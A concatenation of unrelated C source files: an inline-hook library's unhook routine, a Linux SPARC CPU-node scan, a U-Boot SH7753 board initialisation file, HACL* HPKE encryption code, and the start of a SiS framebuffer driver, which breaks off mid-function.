if(NULL != orig_addr2) *orig_addr2 = 0; sh_enter_free(self->enter_addr); return r; } int sh_inst_unhook(sh_inst_t *self, uintptr_t target_addr) { int r; bool is_thumb = SH_UTIL_IS_THUMB(target_addr); if(is_thumb) target_addr = SH_UTIL_CLEAR_BIT0(target_addr); // restore the instructions at the target address SH_SIG_TRY(SIGSEGV, SIGBUS) r = memcmp((void *)target_addr, self->trampo, self->backup_len); SH_SIG_CATCH() return SHADOWHOOK_ERRNO_UNHOOK_CMP_CRASH; SH_SIG_EXIT if(0 != r) return SHADOWHOOK_ERRNO_UNHOOK_TRAMPO_MISMATCH; if(0 != (r = sh_util_write_inst(target_addr, self->backup, self->backup_len))) return r; __atomic_thread_fence(__ATOMIC_SEQ_CST); // free memory space for exit if(0 != self->exit_addr) if(0 != (r = sh_exit_free(self->exit_addr, self->exit_type, (uint8_t *)(self->exit), sizeof(self->exit)))) return r; // free memory space for enter sh_enter_free(self->enter_addr); SH_LOG_INFO("%s: unhook OK. target %"PRIxPTR, is_thumb ? "thumb" : "a32", target_addr); return 0; }
130247.c
/* devices.c: Initial scan of the prom device tree for important * Sparc device nodes which we need to find. * * This is based on the sparc64 version, but sun4m doesn't always use * the hardware MIDs, so be careful. * * Copyright (C) 1996 David S. Miller ([email protected]) */ #include <linux/config.h> #include <linux/kernel.h> #include <linux/threads.h> #include <linux/string.h> #include <linux/init.h> #include <linux/errno.h> #include <asm/page.h> #include <asm/oplib.h> #include <asm/smp.h> #include <asm/system.h> #include <asm/cpudata.h> extern void cpu_probe(void); extern void clock_stop_probe(void); /* tadpole.c */ extern void sun4c_probe_memerr_reg(void); static char *cpu_mid_prop(void) { if (sparc_cpu_model == sun4d) return "cpu-id"; return "mid"; } static int check_cpu_node(int nd, int *cur_inst, int (*compare)(int, int, void *), void *compare_arg, int *prom_node, int *mid) { char node_str[128]; prom_getstring(nd, "device_type", node_str, sizeof(node_str)); if (strcmp(node_str, "cpu")) return -ENODEV; if (!compare(nd, *cur_inst, compare_arg)) { if (prom_node) *prom_node = nd; if (mid) { *mid = prom_getintdefault(nd, cpu_mid_prop(), 0); if (sparc_cpu_model == sun4m) *mid &= 3; } return 0; } (*cur_inst)++; return -ENODEV; } static int __cpu_find_by(int (*compare)(int, int, void *), void *compare_arg, int *prom_node, int *mid) { int nd, cur_inst, err; nd = prom_root_node; cur_inst = 0; err = check_cpu_node(nd, &cur_inst, compare, compare_arg, prom_node, mid); if (!err) return 0; nd = prom_getchild(nd); while ((nd = prom_getsibling(nd)) != 0) { err = check_cpu_node(nd, &cur_inst, compare, compare_arg, prom_node, mid); if (!err) return 0; } return -ENODEV; } static int cpu_instance_compare(int nd, int instance, void *_arg) { int desired_instance = (int) _arg; if (instance == desired_instance) return 0; return -ENODEV; } int cpu_find_by_instance(int instance, int *prom_node, int *mid) { return __cpu_find_by(cpu_instance_compare, (void *)instance, prom_node, mid); } static int cpu_mid_compare(int nd, int instance, void *_arg) { int desired_mid = (int) _arg; int this_mid; this_mid = prom_getintdefault(nd, cpu_mid_prop(), 0); if (this_mid == desired_mid || (sparc_cpu_model == sun4m && (this_mid & 3) == desired_mid)) return 0; return -ENODEV; } int cpu_find_by_mid(int mid, int *prom_node) { return __cpu_find_by(cpu_mid_compare, (void *)mid, prom_node, NULL); } /* sun4m uses truncated mids since we base the cpuid on the ttable/irqset * address (0-3). This gives us the true hardware mid, which might have * some other bits set. On 4d hardware and software mids are the same. */ int cpu_get_hwmid(int prom_node) { return prom_getintdefault(prom_node, cpu_mid_prop(), -ENODEV); } void __init device_scan(void) { prom_printf("Booting Linux...\n"); #ifndef CONFIG_SMP { int err, cpu_node; err = cpu_find_by_instance(0, &cpu_node, NULL); if (err) { /* Probably a sun4e, Sun is trying to trick us ;-) */ prom_printf("No cpu nodes, cannot continue\n"); prom_halt(); } cpu_data(0).clock_tick = prom_getintdefault(cpu_node, "clock-frequency", 0); } #endif /* !CONFIG_SMP */ cpu_probe(); #ifdef CONFIG_SUN_AUXIO { extern void auxio_probe(void); extern void auxio_power_probe(void); auxio_probe(); auxio_power_probe(); } #endif clock_stop_probe(); if (ARCH_SUN4C_SUN4) sun4c_probe_memerr_reg(); return; }
431992.c
// SPDX-License-Identifier: GPL-2.0+ /* * Copyright (C) 2012 Renesas Solutions Corp. */ #include <common.h> #include <environment.h> #include <malloc.h> #include <asm/processor.h> #include <asm/io.h> #include <asm/mmc.h> #include <spi.h> #include <spi_flash.h> int checkboard(void) { puts("BOARD: SH7753 EVB\n"); return 0; } static void init_gpio(void) { struct gpio_regs *gpio = GPIO_BASE; struct sermux_regs *sermux = SERMUX_BASE; /* GPIO */ writew(0x0000, &gpio->pacr); /* GETHER */ writew(0x0001, &gpio->pbcr); /* INTC */ writew(0x0000, &gpio->pccr); /* PWMU, INTC */ writew(0x0000, &gpio->pdcr); /* SPI0 */ writew(0xeaff, &gpio->pecr); /* GPIO */ writew(0x0000, &gpio->pfcr); /* WDT */ writew(0x0004, &gpio->pgcr); /* SPI0, GETHER MDIO gate(PTG1) */ writew(0x0000, &gpio->phcr); /* SPI1 */ writew(0x0000, &gpio->picr); /* SDHI */ writew(0x0000, &gpio->pjcr); /* SCIF4 */ writew(0x0003, &gpio->pkcr); /* SerMux */ writew(0x0000, &gpio->plcr); /* SerMux */ writew(0x0000, &gpio->pmcr); /* RIIC */ writew(0x0000, &gpio->pncr); /* USB, SGPIO */ writew(0x0000, &gpio->pocr); /* SGPIO */ writew(0xd555, &gpio->pqcr); /* GPIO */ writew(0x0000, &gpio->prcr); /* RIIC */ writew(0x0000, &gpio->pscr); /* RIIC */ writew(0x0000, &gpio->ptcr); /* STATUS */ writeb(0x00, &gpio->pudr); writew(0x5555, &gpio->pucr); /* Debug LED */ writew(0x0000, &gpio->pvcr); /* RSPI */ writew(0x0000, &gpio->pwcr); /* EVC */ writew(0x0000, &gpio->pxcr); /* LBSC */ writew(0x0000, &gpio->pycr); /* LBSC */ writew(0x0000, &gpio->pzcr); /* eMMC */ writew(0xfe00, &gpio->psel0); writew(0x0000, &gpio->psel1); writew(0x3000, &gpio->psel2); writew(0xff00, &gpio->psel3); writew(0x771f, &gpio->psel4); writew(0x0ffc, &gpio->psel5); writew(0x00ff, &gpio->psel6); writew(0xfc00, &gpio->psel7); writeb(0x10, &sermux->smr0); /* SMR0: SerMux mode 0 */ } static void init_usb_phy(void) { struct usb_common_regs *common0 = USB0_COMMON_BASE; struct usb_common_regs *common1 = USB1_COMMON_BASE; struct usb0_phy_regs *phy = USB0_PHY_BASE; struct usb1_port_regs *port = USB1_PORT_BASE; struct usb1_alignment_regs *align = USB1_ALIGNMENT_BASE; writew(0x0100, &phy->reset); /* set reset */ /* port0 = USB0, port1 = USB1 */ writew(0x0002, &phy->portsel); writel(0x0001, &port->port1sel); /* port1 = Host */ writew(0x0111, &phy->reset); /* clear reset */ writew(0x4000, &common0->suspmode); writew(0x4000, &common1->suspmode); #if defined(__LITTLE_ENDIAN) writel(0x00000000, &align->ehcidatac); writel(0x00000000, &align->ohcidatac); #endif } static void init_gether_mdio(void) { struct gpio_regs *gpio = GPIO_BASE; writew(readw(&gpio->pgcr) | 0x0004, &gpio->pgcr); writeb(readb(&gpio->pgdr) | 0x02, &gpio->pgdr); /* Use ET0-MDIO */ } static void set_mac_to_sh_giga_eth_register(int channel, char *mac_string) { struct ether_mac_regs *ether; unsigned char mac[6]; unsigned long val; eth_parse_enetaddr(mac_string, mac); if (!channel) ether = GETHER0_MAC_BASE; else ether = GETHER1_MAC_BASE; val = (mac[0] << 24) | (mac[1] << 16) | (mac[2] << 8) | mac[3]; writel(val, &ether->mahr); val = (mac[4] << 8) | mac[5]; writel(val, &ether->malr); } #if defined(CONFIG_SH_32BIT) /***************************************************************** * This PMB must be set on this timing. The lowlevel_init is run on * Area 0(phys 0x00000000), so we have to map it. * * The new PMB table is following: * ent virt phys v sz c wt * 0 0xa0000000 0x40000000 1 128M 0 1 * 1 0xa8000000 0x48000000 1 128M 0 1 * 2 0xb0000000 0x50000000 1 128M 0 1 * 3 0xb8000000 0x58000000 1 128M 0 1 * 4 0x80000000 0x40000000 1 128M 1 1 * 5 0x88000000 0x48000000 1 128M 1 1 * 6 0x90000000 0x50000000 1 128M 1 1 * 7 0x98000000 0x58000000 1 128M 1 1 */ static void set_pmb_on_board_init(void) { struct mmu_regs *mmu = MMU_BASE; /* clear ITLB */ writel(0x00000004, &mmu->mmucr); /* delete PMB for SPIBOOT */ writel(0, PMB_ADDR_BASE(0)); writel(0, PMB_DATA_BASE(0)); /* add PMB for SDRAM(0x40000000 - 0x47ffffff) */ /* ppn ub v s1 s0 c wt */ writel(mk_pmb_addr_val(0xa0), PMB_ADDR_BASE(0)); writel(mk_pmb_data_val(0x40, 1, 1, 1, 0, 0, 1), PMB_DATA_BASE(0)); writel(mk_pmb_addr_val(0xb0), PMB_ADDR_BASE(2)); writel(mk_pmb_data_val(0x50, 1, 1, 1, 0, 0, 1), PMB_DATA_BASE(2)); writel(mk_pmb_addr_val(0xb8), PMB_ADDR_BASE(3)); writel(mk_pmb_data_val(0x58, 1, 1, 1, 0, 0, 1), PMB_DATA_BASE(3)); writel(mk_pmb_addr_val(0x80), PMB_ADDR_BASE(4)); writel(mk_pmb_data_val(0x40, 0, 1, 1, 0, 1, 1), PMB_DATA_BASE(4)); writel(mk_pmb_addr_val(0x90), PMB_ADDR_BASE(6)); writel(mk_pmb_data_val(0x50, 0, 1, 1, 0, 1, 1), PMB_DATA_BASE(6)); writel(mk_pmb_addr_val(0x98), PMB_ADDR_BASE(7)); writel(mk_pmb_data_val(0x58, 0, 1, 1, 0, 1, 1), PMB_DATA_BASE(7)); } #endif int board_init(void) { struct gether_control_regs *gether = GETHER_CONTROL_BASE; init_gpio(); #if defined(CONFIG_SH_32BIT) set_pmb_on_board_init(); #endif /* Sets TXnDLY to B'010 */ writel(0x00000202, &gether->gbecont); init_usb_phy(); init_gether_mdio(); return 0; } int board_mmc_init(bd_t *bis) { struct gpio_regs *gpio = GPIO_BASE; writew(readw(&gpio->pgcr) | 0x0040, &gpio->pgcr); writeb(readb(&gpio->pgdr) & ~0x08, &gpio->pgdr); /* Reset */ udelay(1); writeb(readb(&gpio->pgdr) | 0x08, &gpio->pgdr); /* Release reset */ udelay(200); return mmcif_mmc_init(); } static int get_sh_eth_mac_raw(unsigned char *buf, int size) { struct spi_flash *spi; int ret; spi = spi_flash_probe(0, 0, 1000000, SPI_MODE_3); if (spi == NULL) { printf("%s: spi_flash probe failed.\n", __func__); return 1; } ret = spi_flash_read(spi, SH7753EVB_ETHERNET_MAC_BASE, size, buf); if (ret) { printf("%s: spi_flash read failed.\n", __func__); spi_flash_free(spi); return 1; } spi_flash_free(spi); return 0; } static int get_sh_eth_mac(int channel, char *mac_string, unsigned char *buf) { memcpy(mac_string, &buf[channel * (SH7753EVB_ETHERNET_MAC_SIZE + 1)], SH7753EVB_ETHERNET_MAC_SIZE); mac_string[SH7753EVB_ETHERNET_MAC_SIZE] = 0x00; /* terminate */ return 0; } static void init_ethernet_mac(void) { char mac_string[64]; char env_string[64]; int i; unsigned char *buf; buf = malloc(256); if (!buf) { printf("%s: malloc failed.\n", __func__); return; } get_sh_eth_mac_raw(buf, 256); /* Gigabit Ethernet */ for (i = 0; i < SH7753EVB_ETHERNET_NUM_CH; i++) { get_sh_eth_mac(i, mac_string, buf); if (i == 0) env_set("ethaddr", mac_string); else { sprintf(env_string, "eth%daddr", i); env_set(env_string, mac_string); } set_mac_to_sh_giga_eth_register(i, mac_string); } free(buf); } int board_late_init(void) { init_ethernet_mac(); return 0; } int do_write_mac(cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[]) { int i, ret; char mac_string[256]; struct spi_flash *spi; unsigned char *buf; if (argc != 3) { buf = malloc(256); if (!buf) { printf("%s: malloc failed.\n", __func__); return 1; } get_sh_eth_mac_raw(buf, 256); /* print current MAC address */ for (i = 0; i < SH7753EVB_ETHERNET_NUM_CH; i++) { get_sh_eth_mac(i, mac_string, buf); printf("GETHERC ch%d = %s\n", i, mac_string); } free(buf); return 0; } /* new setting */ memset(mac_string, 0xff, sizeof(mac_string)); sprintf(mac_string, "%s\t%s", argv[1], argv[2]); /* write MAC data to SPI rom */ spi = spi_flash_probe(0, 0, 1000000, SPI_MODE_3); if (!spi) { printf("%s: spi_flash probe failed.\n", __func__); return 1; } ret = spi_flash_erase(spi, SH7753EVB_ETHERNET_MAC_BASE_SPI, SH7753EVB_SPI_SECTOR_SIZE); if (ret) { printf("%s: spi_flash erase failed.\n", __func__); return 1; } ret = spi_flash_write(spi, SH7753EVB_ETHERNET_MAC_BASE_SPI, sizeof(mac_string), mac_string); if (ret) { printf("%s: spi_flash write failed.\n", __func__); spi_flash_free(spi); return 1; } spi_flash_free(spi); puts("The writing of the MAC address to SPI ROM was completed.\n"); return 0; } U_BOOT_CMD( write_mac, 3, 1, do_write_mac, "write MAC address for GETHERC", "[GETHERC ch0] [GETHERC ch1]\n" );
117501.c
/* MIT License * * Copyright (c) 2016-2020 INRIA, CMU and Microsoft Corporation * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include "Hacl_HPKE_Curve51_CP128_SHA512.h" uint32_t Hacl_HPKE_Curve51_CP128_SHA512_setupBaseI( uint8_t *o_pkE, uint8_t *o_k, uint8_t *o_n, uint8_t *skE, uint8_t *pkR, uint32_t infolen, uint8_t *info ) { uint8_t zz[32U] = { 0U }; uint8_t *o_pkE_ = o_pkE; uint8_t *o_zz_ = zz; Hacl_Curve25519_51_secret_to_public(o_pkE_, skE); uint32_t res1 = (uint32_t)0U; uint8_t *uu____0 = pkR; uint8_t zeros[32U] = { 0U }; Hacl_Curve25519_51_scalarmult(o_zz_, skE, uu____0); uint8_t res0 = (uint8_t)255U; for (uint32_t i = (uint32_t)0U; i < (uint32_t)32U; i++) { uint8_t uu____1 = FStar_UInt8_eq_mask(o_zz_[i], zeros[i]); res0 = uu____1 & res0; } uint8_t z = res0; uint32_t res; if (z == (uint8_t)255U) { res = (uint32_t)1U; } else { res = (uint32_t)0U; } uint32_t res2 = res; uint32_t res3 = res1 | res2; uint8_t default_psk[64U] = { 0U }; uint8_t default_pkI[32U] = { 0U }; uint32_t context_len = (uint32_t)7U + (uint32_t)3U * (uint32_t)32U + (uint32_t)2U * (uint32_t)64U; KRML_CHECK_SIZE(sizeof (uint8_t), context_len); uint8_t context[context_len]; memset(context, 0U, context_len * sizeof (context[0U])); uint8_t label_key[8U] = { (uint8_t)0x68U, (uint8_t)0x70U, (uint8_t)0x6bU, (uint8_t)0x65U, (uint8_t)0x20U, (uint8_t)0x6bU, (uint8_t)0x65U, (uint8_t)0x79U }; uint8_t label_nonce[10U] = { (uint8_t)0x68U, (uint8_t)0x70U, (uint8_t)0x6bU, (uint8_t)0x65U, (uint8_t)0x20U, (uint8_t)0x6eU, (uint8_t)0x6fU, (uint8_t)0x6eU, (uint8_t)0x63U, (uint8_t)0x65U }; KRML_CHECK_SIZE(sizeof (uint8_t), (uint32_t)10U + context_len); uint8_t tmp[(uint32_t)10U + context_len]; memset(tmp, 0U, ((uint32_t)10U + context_len) * sizeof (tmp[0U])); uint8_t secret[64U] = { 0U }; uint8_t *info_hash = tmp; uint8_t *pskID_hash = tmp + (uint32_t)64U; Hacl_Hash_SHA2_hash_512(info, infolen, info_hash); uint8_t *empty_b = info; Hacl_Hash_SHA2_hash_512(empty_b, (uint32_t)0U, pskID_hash); context[0U] = (uint8_t)0U; uint8_t *uu____2 = context + (uint32_t)1U; uint8_t *uu____3 = uu____2; uu____3[0U] = (uint8_t)0U; uu____3[1U] = (uint8_t)2U; uint8_t *uu____4 = uu____2 + (uint32_t)2U; uu____4[0U] = (uint8_t)0U; uu____4[1U] = (uint8_t)2U; uint8_t *uu____5 = uu____2 + (uint32_t)4U; uu____5[0U] = (uint8_t)0U; uu____5[1U] = (uint8_t)3U; memcpy(context + (uint32_t)7U, o_pkE, (uint32_t)32U * sizeof (o_pkE[0U])); memcpy(context + (uint32_t)7U + (uint32_t)32U, pkR, (uint32_t)32U * sizeof (pkR[0U])); memcpy(context + (uint32_t)7U + (uint32_t)32U + (uint32_t)32U, default_pkI, (uint32_t)32U * sizeof (default_pkI[0U])); uint8_t *pskhash_b = context + (uint32_t)7U + (uint32_t)32U + (uint32_t)32U + (uint32_t)32U; memcpy(pskhash_b, pskID_hash, (uint32_t)64U * sizeof (pskID_hash[0U])); uint8_t *output_info = context + (uint32_t)7U + (uint32_t)32U + (uint32_t)32U + (uint32_t)32U + (uint32_t)64U; memcpy(output_info, info_hash, (uint32_t)64U * sizeof (info_hash[0U])); Hacl_HKDF_extract_sha2_512(secret, default_psk, (uint32_t)64U, zz, (uint32_t)32U); uint8_t *info_key = tmp + (uint32_t)2U; memcpy(info_key, label_key, (uint32_t)8U * sizeof (label_key[0U])); memcpy(info_key + (uint32_t)8U, context, context_len * sizeof (context[0U])); Hacl_HKDF_expand_sha2_512(o_k, secret, (uint32_t)64U, info_key, (uint32_t)8U + context_len, (uint32_t)32U); memcpy(tmp, label_nonce, (uint32_t)10U * sizeof (label_nonce[0U])); Hacl_HKDF_expand_sha2_512(o_n, secret, (uint32_t)64U, tmp, (uint32_t)10U + context_len, (uint32_t)12U); return res3; } uint32_t Hacl_HPKE_Curve51_CP128_SHA512_setupBaseR( uint8_t *o_key_aead, uint8_t *o_nonce_aead, uint8_t *pkE, uint8_t *skR, uint32_t infolen, uint8_t *info ) { uint8_t pkR[32U] = { 0U }; uint8_t *pkR_ = pkR; uint8_t zz[32U] = { 0U }; Hacl_Curve25519_51_secret_to_public(pkR_, skR); uint32_t res1 = (uint32_t)0U; uint8_t *o_pkR_ = zz; uint8_t *uu____0 = pkE; uint8_t zeros[32U] = { 0U }; Hacl_Curve25519_51_scalarmult(o_pkR_, skR, uu____0); uint8_t res0 = (uint8_t)255U; for (uint32_t i = (uint32_t)0U; i < (uint32_t)32U; i++) { uint8_t uu____1 = FStar_UInt8_eq_mask(o_pkR_[i], zeros[i]); res0 = uu____1 & res0; } uint8_t z = res0; uint32_t res; if (z == (uint8_t)255U) { res = (uint32_t)1U; } else { res = (uint32_t)0U; } uint32_t res2 = res; uint32_t res20 = res2; uint8_t default_psk[64U] = { 0U }; uint8_t default_pkI[32U] = { 0U }; uint32_t context_len = (uint32_t)7U + (uint32_t)3U * (uint32_t)32U + (uint32_t)2U * (uint32_t)64U; KRML_CHECK_SIZE(sizeof (uint8_t), context_len); uint8_t context[context_len]; memset(context, 0U, context_len * sizeof (context[0U])); uint8_t label_key[8U] = { (uint8_t)0x68U, (uint8_t)0x70U, (uint8_t)0x6bU, (uint8_t)0x65U, (uint8_t)0x20U, (uint8_t)0x6bU, (uint8_t)0x65U, (uint8_t)0x79U }; uint8_t label_nonce[10U] = { (uint8_t)0x68U, (uint8_t)0x70U, (uint8_t)0x6bU, (uint8_t)0x65U, (uint8_t)0x20U, (uint8_t)0x6eU, (uint8_t)0x6fU, (uint8_t)0x6eU, (uint8_t)0x63U, (uint8_t)0x65U }; KRML_CHECK_SIZE(sizeof (uint8_t), (uint32_t)10U + context_len); uint8_t tmp[(uint32_t)10U + context_len]; memset(tmp, 0U, ((uint32_t)10U + context_len) * sizeof (tmp[0U])); uint8_t secret[64U] = { 0U }; uint8_t *info_hash = tmp; uint8_t *pskID_hash = tmp + (uint32_t)64U; Hacl_Hash_SHA2_hash_512(info, infolen, info_hash); uint8_t *empty_b = info; Hacl_Hash_SHA2_hash_512(empty_b, (uint32_t)0U, pskID_hash); context[0U] = (uint8_t)0U; uint8_t *uu____2 = context + (uint32_t)1U; uint8_t *uu____3 = uu____2; uu____3[0U] = (uint8_t)0U; uu____3[1U] = (uint8_t)2U; uint8_t *uu____4 = uu____2 + (uint32_t)2U; uu____4[0U] = (uint8_t)0U; uu____4[1U] = (uint8_t)2U; uint8_t *uu____5 = uu____2 + (uint32_t)4U; uu____5[0U] = (uint8_t)0U; uu____5[1U] = (uint8_t)3U; memcpy(context + (uint32_t)7U, pkE, (uint32_t)32U * sizeof (pkE[0U])); memcpy(context + (uint32_t)7U + (uint32_t)32U, pkR, (uint32_t)32U * sizeof (pkR[0U])); memcpy(context + (uint32_t)7U + (uint32_t)32U + (uint32_t)32U, default_pkI, (uint32_t)32U * sizeof (default_pkI[0U])); uint8_t *pskhash_b = context + (uint32_t)7U + (uint32_t)32U + (uint32_t)32U + (uint32_t)32U; memcpy(pskhash_b, pskID_hash, (uint32_t)64U * sizeof (pskID_hash[0U])); uint8_t *output_info = context + (uint32_t)7U + (uint32_t)32U + (uint32_t)32U + (uint32_t)32U + (uint32_t)64U; memcpy(output_info, info_hash, (uint32_t)64U * sizeof (info_hash[0U])); Hacl_HKDF_extract_sha2_512(secret, default_psk, (uint32_t)64U, zz, (uint32_t)32U); uint8_t *info_key = tmp + (uint32_t)2U; memcpy(info_key, label_key, (uint32_t)8U * sizeof (label_key[0U])); memcpy(info_key + (uint32_t)8U, context, context_len * sizeof (context[0U])); Hacl_HKDF_expand_sha2_512(o_key_aead, secret, (uint32_t)64U, info_key, (uint32_t)8U + context_len, (uint32_t)32U); memcpy(tmp, label_nonce, (uint32_t)10U * sizeof (label_nonce[0U])); Hacl_HKDF_expand_sha2_512(o_nonce_aead, secret, (uint32_t)64U, tmp, (uint32_t)10U + context_len, (uint32_t)12U); return res1 | res20; } uint32_t Hacl_HPKE_Curve51_CP128_SHA512_sealBase( uint8_t *skE, uint8_t *pkR, uint32_t mlen, uint8_t *m, uint32_t infolen, uint8_t *info, uint8_t *output ) { uint8_t zz[32U] = { 0U }; uint8_t k[32U] = { 0U }; uint8_t n[12U] = { 0U }; uint8_t *pkE = output; uint32_t res = Hacl_HPKE_Curve51_CP128_SHA512_setupBaseI(pkE, k, n, skE, pkR, infolen, info); uint8_t *dec = output + (uint32_t)32U; Hacl_Chacha20Poly1305_128_aead_encrypt(k, n, infolen, info, mlen, m, dec, dec + mlen); uint32_t res0 = res; return res0; } uint32_t Hacl_HPKE_Curve51_CP128_SHA512_openBase( uint8_t *pkE, uint8_t *skR, uint32_t mlen, uint8_t *m, uint32_t infolen, uint8_t *info, uint8_t *output ) { uint8_t zz[32U] = { 0U }; uint8_t k[32U] = { 0U }; uint8_t n[12U] = { 0U }; uint8_t *pkE1 = m; uint32_t clen = mlen - (uint32_t)32U; uint8_t *c = m + (uint32_t)32U; uint32_t res1 = Hacl_HPKE_Curve51_CP128_SHA512_setupBaseR(k, n, pkE1, skR, infolen, info); uint32_t res2 = Hacl_Chacha20Poly1305_128_aead_decrypt(k, n, infolen, info, clen - (uint32_t)16U, output, c, c + clen - (uint32_t)16U); uint32_t z = res1 | res2; return z; }
824113.c
/* $XFree86$ */ /* $XdotOrg$ */ /* * Mode initializing code (CRT2 section) * for SiS 300/305/540/630/730, * SiS 315/550/[M]650/651/[M]661[FGM]X/[M]74x[GX]/330/[M]76x[GX], * XGI V3XT/V5/V8, Z7 * (Universal module for Linux kernel framebuffer and X.org/XFree86 4.x) * * Copyright (C) 2001-2005 by Thomas Winischhofer, Vienna, Austria * * If distributed as part of the Linux kernel, the following license terms * apply: * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the named License, * * or any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the Free Software * * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA * * Otherwise, the following license terms apply: * * * Redistribution and use in source and binary forms, with or without * * modification, are permitted provided that the following conditions * * are met: * * 1) Redistributions of source code must retain the above copyright * * notice, this list of conditions and the following disclaimer. * * 2) Redistributions in binary form must reproduce the above copyright * * notice, this list of conditions and the following disclaimer in the * * documentation and/or other materials provided with the distribution. * * 3) The name of the author may not be used to endorse or promote products * * derived from this software without specific prior written permission. * * * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * Author: Thomas Winischhofer <[email protected]> * * Formerly based on non-functional code-fragements for 300 series by SiS, Inc. * Used by permission. * */ #if 1 #define SET_EMI /* 302LV/ELV: Set EMI values */ #endif #if 1 #define SET_PWD /* 301/302LV: Set PWD */ #endif #define COMPAL_HACK /* Needed for Compal 1400x1050 (EMI) */ #define COMPAQ_HACK /* Needed for Inventec/Compaq 1280x1024 (EMI) */ #define ASUS_HACK /* Needed for Asus A2H 1024x768 (EMI) */ #include "init301.h" #ifdef CONFIG_FB_SIS_300 #include "oem300.h" #endif #ifdef CONFIG_FB_SIS_315 #include "oem310.h" #endif #define SiS_I2CDELAY 1000 #define SiS_I2CDELAYSHORT 150 static unsigned short SiS_GetBIOSLCDResInfo(struct SiS_Private *SiS_Pr); static void SiS_SetCH70xx(struct SiS_Private *SiS_Pr, unsigned short reg, unsigned char val); /*********************************************/ /* HELPER: Lock/Unlock CRT2 */ /*********************************************/ void SiS_UnLockCRT2(struct SiS_Private *SiS_Pr) { if(SiS_Pr->ChipType == XGI_20) return; else if(SiS_Pr->ChipType >= SIS_315H) SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2f,0x01); else SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x24,0x01); } static void SiS_LockCRT2(struct SiS_Private *SiS_Pr) { if(SiS_Pr->ChipType == XGI_20) return; else if(SiS_Pr->ChipType >= SIS_315H) SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x2F,0xFE); else SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x24,0xFE); } /*********************************************/ /* HELPER: Write SR11 */ /*********************************************/ static void SiS_SetRegSR11ANDOR(struct SiS_Private *SiS_Pr, unsigned short DataAND, unsigned short DataOR) { if(SiS_Pr->ChipType >= SIS_661) { DataAND &= 0x0f; DataOR &= 0x0f; } SiS_SetRegANDOR(SiS_Pr->SiS_P3c4,0x11,DataAND,DataOR); } /*********************************************/ /* HELPER: Get Pointer to LCD structure */ /*********************************************/ #ifdef CONFIG_FB_SIS_315 static unsigned char * GetLCDStructPtr661(struct SiS_Private *SiS_Pr) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned char *myptr = NULL; unsigned short romindex = 0, reg = 0, idx = 0; /* Use the BIOS tables only for LVDS panels; TMDS is unreliable * due to the variaty of panels the BIOS doesn't know about. * Exception: If the BIOS has better knowledge (such as in case * of machines with a 301C and a panel that does not support DDC) * use the BIOS data as well. */ if((SiS_Pr->SiS_ROMNew) && ((SiS_Pr->SiS_VBType & VB_SISLVDS) || (!SiS_Pr->PanelSelfDetected))) { if(SiS_Pr->ChipType < SIS_661) reg = 0x3c; else reg = 0x7d; idx = (SiS_GetReg(SiS_Pr->SiS_P3d4,reg) & 0x1f) * 26; if(idx < (8*26)) { myptr = (unsigned char *)&SiS_LCDStruct661[idx]; } romindex = SISGETROMW(0x100); if(romindex) { romindex += idx; myptr = &ROMAddr[romindex]; } } return myptr; } static unsigned short GetLCDStructPtr661_2(struct SiS_Private *SiS_Pr) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short romptr = 0; /* Use the BIOS tables only for LVDS panels; TMDS is unreliable * due to the variaty of panels the BIOS doesn't know about. * Exception: If the BIOS has better knowledge (such as in case * of machines with a 301C and a panel that does not support DDC) * use the BIOS data as well. */ if((SiS_Pr->SiS_ROMNew) && ((SiS_Pr->SiS_VBType & VB_SISLVDS) || (!SiS_Pr->PanelSelfDetected))) { romptr = SISGETROMW(0x102); romptr += ((SiS_GetReg(SiS_Pr->SiS_P3d4,0x36) >> 4) * SiS_Pr->SiS661LCD2TableSize); } return romptr; } #endif /*********************************************/ /* Adjust Rate for CRT2 */ /*********************************************/ static bool SiS_AdjustCRT2Rate(struct SiS_Private 